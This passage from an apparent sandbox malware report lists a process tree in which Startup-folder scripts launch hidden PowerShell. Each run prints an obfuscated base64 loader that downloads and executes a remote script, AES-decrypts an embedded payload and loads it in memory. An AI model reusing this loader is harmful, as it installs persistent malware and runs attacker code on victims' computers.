1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 1828 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 2436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 5076 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 2304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6532 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 7884 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7968 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3852 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 4132 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 1700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 5896 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6504 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N